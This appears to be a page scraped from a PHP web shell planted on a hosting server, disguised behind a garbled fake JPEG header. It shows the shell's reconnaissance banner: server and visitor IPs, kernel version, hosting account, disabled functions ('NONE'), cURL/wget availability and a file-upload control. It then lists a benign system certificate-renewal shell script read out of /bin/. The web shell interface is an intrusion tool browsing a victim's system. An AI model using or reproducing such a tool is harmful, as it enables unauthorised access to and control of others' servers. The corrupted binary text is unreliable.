????JFIF??H?H????Exif??MM?*???? ??3????V?????3??????3?(????????????????????3?????
Server IP : 104.21.92.120 / Your IP : 3.143.237.203 Web Server : LiteSpeed System : Linux fr-int-web1270.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : u217304719 ( 217304719) PHP Version : 8.1.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /bin/ |
Upload File : |
#!/bin/bash if [ $# -eq 0 ]; then echo $"Usage: `basename $0` filename" 1>&2 exit 1 fi PEM=$1 REQ=`/bin/mktemp /tmp/openssl.XXXXXX` KEY=`/bin/mktemp /tmp/openssl.XXXXXX` CRT=`/bin/mktemp /tmp/openssl.XXXXXX` NEW=${PEM}_ trap "rm -f $REQ $KEY $CRT $NEW" SIGINT if [ ! -f $PEM ]; then echo "$PEM: file not found" 1>&2 exit 1 fi umask 077 OWNER=`ls -l $PEM | awk '{ printf "%s.%s", $3, $4; }'` openssl rsa -inform pem -in $PEM -out $KEY openssl x509 -x509toreq -in $PEM -signkey $KEY -out $REQ openssl x509 -req -in $REQ -signkey $KEY -days 365 \ -extfile /etc/pki/tls/openssl.cnf -extensions v3_ca -out $CRT (cat $KEY ; echo "" ; cat $CRT) > $NEW chown $OWNER $NEW mv -f $NEW $PEM rm -f $REQ $KEY $CRT exit 0